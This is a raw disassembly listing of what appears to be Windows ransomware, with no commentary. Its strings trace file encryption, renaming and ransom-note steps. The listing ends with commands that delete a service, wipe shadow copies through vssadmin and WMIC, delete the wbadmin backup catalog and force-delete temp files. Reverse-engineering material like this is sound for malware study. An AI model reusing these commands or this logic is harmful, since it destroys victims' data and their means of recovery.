lea rdx, [0x1402da388]
lea rcx, [rsp + 0xb0]
mov r8d, 4
mov r9, 0xffffffffffffffff
call fcn.140075cf0
lea r8, str.finished_encrypting_larges_on_defered_windrive
lea rcx, [rsp + 0xb0]
xor edx, edx
call fcn.140075dd0
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xee0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xed0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xed0], 1
je 0x14000e081
mov rcx, qword [rsp + 0xee0]
jmp 0x14000e089
lea rcx, [rsp + 0xed2]
mov dl, 1
call fcn.140011c60
test byte [rsp + 0xed0], 1
je 0x14000df30
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
test byte [rsp + 0xb0], 1
je 0x14000df47
mov rcx, qword [rsp + 0xc0]
call fcn.140073240
movsxd rax, dword [rsp + 0xc8]
mov rcx, qword [0x1402da2e0]
lea rax, [rax + rax*2]
mov rsi, qword [rcx + rax*8]
lea rax, [rsp + 0xed0]
mov qword [rsp + 0x20], rax
lea rdx, [0x1402da388]
lea rcx, [rsp + 0xb18]
mov r8d, 4
mov r9d, 1
call fcn.140075cf0
mov r8d, dword [0x14029c044]
mov eax, dword [rsp + 0xc8]
movsxd rcx, dword [0x14029c050]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x38], 0x14
mov byte [rsp + 0x28], 0
lea rdx, [rsp + 0xb18]
mov rcx, rsi
xor r9d, r9d
call fcn.14001a190
test byte [rsp + 0xb18], 1
je 0x14000dff9
mov rcx, qword [rsp + 0xb28]
call fcn.140073240
lea rax, [rsp + 0x1d8]
mov qword [rsp + 0x20], rax
lea rdx, [0x1402da388]
lea rcx, [rsp + 0xb0]
mov r8d, 4
mov r9, 0xffffffffffffffff
call fcn.140075cf0
lea r8, str.finished_encrypting_smalls_on_defered_windrive
lea rcx, [rsp + 0xb0]
xor edx, edx
call fcn.140075dd0
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xee0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xed0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xed0], 1
je 0x14000e1e6
mov rcx, qword [rsp + 0xee0]
jmp 0x14000e1ee
lea rcx, [rsp + 0xed2]
mov dl, 1
call fcn.140011c60
test byte [rsp + 0xed0], 1
je 0x14000e0a7
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
test byte [rsp + 0xb0], 1
je 0x14000e0be
mov rcx, qword [rsp + 0xc0]
call fcn.140073240
movsxd rax, dword [rsp + 0xc8]
mov rcx, qword [0x1402da2e0]
lea rax, [rax + rax*2]
mov rsi, qword [rcx + rax*8]
lea rdx, str.larges
lea rcx, [rsp + 0xab8]
call fcn.140012a70
add rsi, 0x60
mov r8d, dword [0x14029c044]
mov eax, dword [rsp + 0xc8]
movsxd rcx, dword [0x14029c050]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0xa
mov byte [rsp + 0x28], 4
lea rdx, [rsp + 0xab8]
mov rcx, rsi
mov r9d, 1
call fcn.14001a190
test byte [rsp + 0xab8], 1
je 0x14000e15e
mov rcx, qword [rsp + 0xac8]
call fcn.140073240
lea rax, [rsp + 0x1d8]
mov qword [rsp + 0x20], rax
lea rdx, [0x1402da388]
lea rcx, [rsp + 0xb0]
mov r8d, 4
mov r9, 0xffffffffffffffff
call fcn.140075cf0
lea r8, str.finished_encrypting_lrgmkvs_on_defered_windrive
lea rcx, [rsp + 0xb0]
xor edx, edx
call fcn.140075dd0
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xee0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xed0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xed0], 1
je 0x14000e361
mov rcx, qword [rsp + 0xee0]
jmp 0x14000e369
lea rcx, [rsp + 0xed2]
mov dl, 1
call fcn.140011c60
test byte [rsp + 0xed0], 1
je 0x14000e20c
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
test byte [rsp + 0xb0], 1
je 0x14000e223
mov rcx, qword [rsp + 0xc0]
call fcn.140073240
movsxd rax, dword [rsp + 0xc8]
mov rcx, qword [0x1402da2e0]
lea rax, [rax + rax*2]
mov rsi, qword [rcx + rax*8]
lea rax, [rsp + 0xed0]
mov qword [rsp + 0x20], rax
lea rdx, [0x1402da388]
lea rcx, [rsp + 0xb00]
mov r8d, 4
mov r9d, 1
call fcn.140075cf0
add rsi, 0x78
mov r8d, dword [0x14029c044]
mov eax, dword [rsp + 0xc8]
movsxd rcx, dword [0x14029c050]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x38], 0x14
mov byte [rsp + 0x28], 5
lea rdx, [rsp + 0xb00]
mov rcx, rsi
xor r9d, r9d
call fcn.14001a190
test byte [rsp + 0xb00], 1
je 0x14000e2d9
mov rcx, qword [rsp + 0xb10]
call fcn.140073240
lea rax, [rsp + 0x1d8]
mov qword [rsp + 0x20], rax
lea rdx, [0x1402da388]
lea rcx, [rsp + 0xb0]
mov r8d, 4
mov r9, 0xffffffffffffffff
call fcn.140075cf0
lea r8, str.finished_encrypting_defereds_on_defered_windrive
lea rcx, [rsp + 0xb0]
xor edx, edx
call fcn.140075dd0
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xee0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xed0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xed0], 1
je 0x14000e4d5
mov rcx, qword [rsp + 0xee0]
jmp 0x14000e4dd
lea rcx, [rsp + 0xed2]
mov dl, 1
call fcn.140011c60
test byte [rsp + 0xed0], 1
je 0x14000e387
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
test byte [rsp + 0xb0], 1
je 0x14000e39e
mov rcx, qword [rsp + 0xc0]
call fcn.140073240
movsxd rax, dword [rsp + 0xc8]
mov rcx, qword [0x1402da2e0]
lea rax, [rax + rax*2]
mov rsi, qword [rcx + rax*8]
lea rax, [rsp + 0xed0]
mov qword [rsp + 0x20], rax
lea rdx, [0x1402da388]
lea rcx, [rsp + 0xaa0]
mov r8d, 4
mov r9d, 1
call fcn.140075cf0
add rsi, 0x78
mov r8d, dword [0x14029c044]
mov eax, dword [rsp + 0xc8]
movsxd rcx, dword [0x14029c050]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x38], 0x14
mov byte [rsp + 0x28], 5
lea rdx, [rsp + 0xaa0]
mov rcx, rsi
xor r9d, r9d
call fcn.14001a190
test byte [rsp + 0xaa0], 1
je 0x14000e454
mov rcx, qword [rsp + 0xab0]
call fcn.140073240
lea rax, [rsp + 0x1d8]
mov qword [rsp + 0x20], rax
lea rdx, [0x1402da388]
lea rcx, [rsp + 0xb0]
mov r8d, 4
mov r9, 0xffffffffffffffff
call fcn.140075cf0
lea r8, str.finished_encrypting_defereds_on_defered_windrive
lea rcx, [rsp + 0xb0]
xor edx, edx
call fcn.140075dd0
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xee0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xed0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xed0], 1
je 0x14000e4e6
mov rcx, qword [rsp + 0xee0]
jmp 0x14000e4ee
lea rcx, [rsp + 0xed2]
mov dl, 1
call fcn.140011c60
jmp 0x14000e4f5
lea rcx, [rsp + 0xed2]
mov dl, 1
call fcn.140011c60
test byte [rsp + 0xed0], 1
je 0x14000e50c
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
test byte [rsp + 0xb0], 1
je 0x14000e523
mov rcx, qword [rsp + 0xc0]
call fcn.140073240
lea rcx, str.start_locked_files
mov dl, 1
call fcn.140011c60
mov word [rsp + 0xb0], 1
mov byte [rsp + 0xb2], 5
lea rax, [rsp + 0xb0]
mov qword [rsp + 0xea8], rax
mov qword [rsp + 0xeb0], 3
lea rsi, [rsp + 0xed0]
lea rdx, [rsp + 0xea8]
mov rcx, rsi
call fcn.14001b580
mov dword [rsp + 0x1d8], 0x1040203
mov word [rsp + 0x1dc], 0x500
lea rax, [rsp + 0x1d8]
mov qword [rsp + 0xe98], rax
mov qword [rsp + 0xea0], 6
lea rdi, [rsp + 0xb0]
lea rdx, [rsp + 0xe98]
mov rcx, rdi
call fcn.14001b580
test r12b, 1
je 0x14000e635
mov qword [rsp + 0x30], rsi
lea r14, [0x1402db948]
mov qword [rsp + 0x20], r14
mov dword [rsp + 0x28], 2
lea rcx, [0x1402da310]
lea r8, [0x1402da474]
lea r9, [0x1402da470]
lea rdx, [rsp + 0x800]
call fcn.14001b610
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x20], r14
mov dword [rsp + 0x28], 4
lea rcx, [0x1402da328]
lea r8, [0x1402da474]
lea r9, [0x1402da470]
lea rdx, [rsp + 0x800]
call fcn.14001b610
lea rax, [rsp + 0x940]
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x820]
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], rsi
xor esi, esi
test byte [rsp + 0x6b], 1
jne 0x14000e68a
cmp byte [rsp + 0x6c], 0
je 0x14000e68a
mov ecx, 8
call fcn.1400731c0
mov rsi, rax
lea rdx, [rsp + 0x1d8]
mov rcx, rax
call fcn.14001b790
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x3b0], xmm0
mov qword [rsp + 0x3c0], 0
lea rcx, str.finished_locked_files
mov dl, 1
call fcn.140011c60
lea rcx, [rsp + 0xa88]
lea rdx, [rsp + 0x1c0]
call fcn.1400747e0
lea rcx, [rsp + 0xa70]
lea rdx, [rsp + 0x220]
call fcn.1400747e0
lea rcx, [rsp + 0xa88]
lea rdx, [rsp + 0xa70]
lea r8, [rsp + 0x90]
lea r9, [rsp + 0x3b0]
call fcn.140017930
test byte [rsp + 0xa70], 1
je 0x14000e717
mov rcx, qword [rsp + 0xa80]
call fcn.140073240
test byte [rsp + 0xa88], 1
je 0x14000e72e
mov rcx, qword [rsp + 0xa98]
call fcn.140073240
lea rdx, [0x14025b8b8]
lea rdi, [rsp + 0x3b0]
mov rcx, rdi
xor r8d, r8d
call fcn.140013c50
lea r9, [rsp + 0x8f8]
mov r8d, 9
mov rcx, rdi
mov rdx, rax
call fcn.140017a40
lea rax, [rsp + 0x780]
mov qword [rsp + 0x780], rax
mov qword [rsp + 0x788], rax
mov qword [rsp + 0x790], 0
lea rax, [rsp + 0x4d0]
mov qword [rsp + 0x4d0], rax
mov qword [rsp + 0x4d8], rax
mov qword [rsp + 0x4e0], 0
mov qword [rsp + 0x928], 0
mov qword [rsp + 0x910], 0
lea rax, [rsp + 0x7ac]
mov qword [rsp + 0x8d8], rax
mov qword [rsp + 0x8c0], rdi
lea rcx, str.Started_Renaming
mov dl, 1
call fcn.140011c60
test r12b, 1
je 0x14000e93c
lea rdx, [0x140056660]
lea rcx, [rsp + 0x410]
call fcn.140017e40
lea rcx, [rsp + 0xa58]
lea rdx, [rsp + 0x800]
call fcn.14001bab0
lea rcx, [rsp + 0x8d8]
lea rdx, [rsp + 0xa58]
lea r14, [rsp + 0x780]
lea r15, [rsp + 0x928]
mov r8, r14
mov r9, r15
call fcn.14001b850
mov rcx, qword [rsp + 0xa58]
test rcx, rcx
je 0x14000e85f
mov qword [rsp + 0xa60], rcx
call fcn.140073240
mov ecx, 8
call fcn.1400731c0
mov rdi, rax
mov rcx, rax
call fcn.14001bbc0
lea rcx, str.Started_Noteing
mov dl, 1
call fcn.140011c60
lea rcx, [rsp + 0xa40]
lea rdx, [rsp + 0x800]
call fcn.14001bab0
lea rcx, [rsp + 0x8c0]
lea rdx, [rsp + 0xa40]
mov r8d, 4
call fcn.14001bc70
mov rcx, qword [rsp + 0xa40]
test rcx, rcx
je 0x14000e8cc
mov qword [rsp + 0xa48], rcx
call fcn.140073240
lea rcx, str.other_minor_things
mov dl, 1
call fcn.140011c60
lea rcx, [rsp + 0x410]
call fcn.14001a170
test al, al
je 0x14000e8f8
lea rcx, [rsp + 0x410]
call fcn.140077dc0
mov ecx, 8
call fcn.1400731c0
mov rdi, rax
mov qword [rsp + 0x490], r14
mov qword [rsp + 0xd0], r15
lea rdx, [rsp + 0x490]
lea r8, [rsp + 0xd0]
mov rcx, rax
call fcn.14001c240
lea rcx, [rsp + 0x410]
call fcn.140077da0
jmp 0x14000e93e
xor edi, edi
lea rcx, str.readchedEnd__r_n_doing_final_jobs
mov dl, 1
call fcn.140011c60
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x410], xmm0
mov qword [rsp + 0x420], 0
movdqa xmmword [rsp + 0x490], xmm0
mov qword [rsp + 0x4a0], 0
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x20], rax
lea rdx, [0x1402da388]
lea rcx, [rsp + 0x170]
mov r8d, 4
mov r9, 0xffffffffffffffff
call fcn.140075cf0
lea rdx, str.windows_system32_sc.exe
lea rcx, [rsp + 0x170]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xe0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xd0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xd0], 1
je 0x14000e9f9
mov r14, qword [rsp + 0xe0]
jmp 0x14000ea01
lea r14, [rsp + 0xd2]
lea rdx, str.delete
lea rcx, [rsp + 0x200]
call fcn.140012a70
lea rdx, str.defser
lea rcx, [rsp + 0x200]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x100], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xf0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xf0], 1
je 0x14000ea66
mov rdx, qword [rsp + 0x100]
jmp 0x14000ea6e
lea rdx, [rsp + 0xf2]
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x20], 0
mov rcx, r14
mov r8b, 1
xor r9d, r9d
call fcn.1400579b0
test byte [rsp + 0xf0], 1
jne 0x14000eb4a
test byte [rsp + 0x200], 1
jne 0x14000eb65
test byte [rsp + 0xd0], 1
jne 0x14000eb80
test byte [rsp + 0x170], 1
je 0x14000eacb
mov rcx, qword [rsp + 0x180]
call fcn.140073240
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x20], rax
lea rdx, [0x1402da388]
lea rcx, [rsp + 0x170]
mov r8d, 4
mov r9, 0xffffffffffffffff
call fcn.140075cf0
lea rdx, str.Windows_system32_vssadmin.exe
lea rcx, [rsp + 0x170]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xe0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xd0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xd0], 1
je 0x14000eba0
mov rcx, qword [rsp + 0xe0]
jmp 0x14000eba8
mov rcx, qword [rsp + 0x100]
call fcn.140073240
test byte [rsp + 0x200], 1
je 0x14000eaa6
mov rcx, qword [rsp + 0x210]
call fcn.140073240
test byte [rsp + 0xd0], 1
je 0x14000eab4
mov rcx, qword [rsp + 0xe0]
call fcn.140073240
test byte [rsp + 0x170], 1
jne 0x14000eabe
jmp 0x14000eacb
lea rcx, [rsp + 0xd2]
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x20], 1
lea rdx, str.Delete_Shadows__All__Quiet
mov r8b, 1
xor r9d, r9d
call fcn.1400579b0
test byte [rsp + 0xd0], 1
je 0x14000ebdf
mov rcx, qword [rsp + 0xe0]
call fcn.140073240
test byte [rsp + 0x170], 1
je 0x14000ebf6
mov rcx, qword [rsp + 0x180]
call fcn.140073240
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x20], rax
lea rdx, [0x1402da388]
lea rcx, [rsp + 0x170]
mov r8d, 4
mov r9, 0xffffffffffffffff
call fcn.140075cf0
lea rdx, str.windows_system32wbadmin.exe
lea rcx, [rsp + 0x170]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xe0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xd0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xd0], 1
je 0x14000ec75
mov rcx, qword [rsp + 0xe0]
jmp 0x14000ec7d
lea rcx, [rsp + 0xd2]
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x20], 1
lea rdx, str.delete_catalog__quiet
mov r8b, 1
xor r9d, r9d
call fcn.1400579b0
test byte [rsp + 0xd0], 1
je 0x14000ecb4
mov rcx, qword [rsp + 0xe0]
call fcn.140073240
test byte [rsp + 0x170], 1
je 0x14000eccb
mov rcx, qword [rsp + 0x180]
call fcn.140073240
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x20], rax
lea rdx, [0x1402da388]
lea rcx, [rsp + 0x170]
mov r8d, 4
mov r9, 0xffffffffffffffff
call fcn.140075cf0
lea rdx, str.WindowsSystem32wbemWMIC.exe
lea rcx, [rsp + 0x170]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xe0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xd0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xd0], 1
je 0x14000ed4a
mov rcx, qword [rsp + 0xe0]
jmp 0x14000ed52
lea rcx, [rsp + 0xd2]
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x20], 1
lea rdx, str.shadowcopy_delete
mov r8b, 1
xor r9d, r9d
call fcn.1400579b0
test byte [rsp + 0xd0], 1
je 0x14000ed89
mov rcx, qword [rsp + 0xe0]
call fcn.140073240
test byte [rsp + 0x170], 1
je 0x14000eda0
mov rcx, qword [rsp + 0x180]
call fcn.140073240
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x20], rax
lea rdx, [0x1402da388]
lea rcx, [rsp + 0x170]
mov r8d, 4
mov r9, 0xffffffffffffffff
call fcn.140075cf0
lea rdx, str.WindowsSystem32cmd.exe
lea rcx, [rsp + 0x170]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xe0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xd0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xd0], 1
je 0x14000ee1f
mov r15, qword [rsp + 0xe0]
jmp 0x14000ee27
lea r15, [rsp + 0xd2]
lea rax, [rsp + 0x2f0]
mov qword [rsp + 0x20], rax
lea rdx, [0x1402da388]
lea rcx, [rsp + 0x2b0]
mov r8d, 4
mov r9, 0xffffffffffffffff
call fcn.140075cf0
lea r8, str._c_del__S__Q__F
lea rcx, [rsp + 0x2b0]
xor edx, edx
call fcn.140075dd0
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x210], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x200], xmm0
pxor xmm6, xmm6
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rdx, str.windows_temp_
lea r14, [rsp + 0x200]
mov rcx, r14
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x100], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xf0], xmm0
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0xf0], 1
je 0x14000eee4
xor ecx, ecx
call sub.msvcrt.dll_exit
mov rsi, rax
call fcn.140073480
jmp 0x140011bfa
mov rdx, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x1a8]
call fcn.140035c20
lea rcx, [rsp + 0x4b0]
call fcn.140013ab0
lea rcx, [rsp + 0x310]
call fcn.140013ab0
mov rcx, rsi
call fcn.14009d370
int3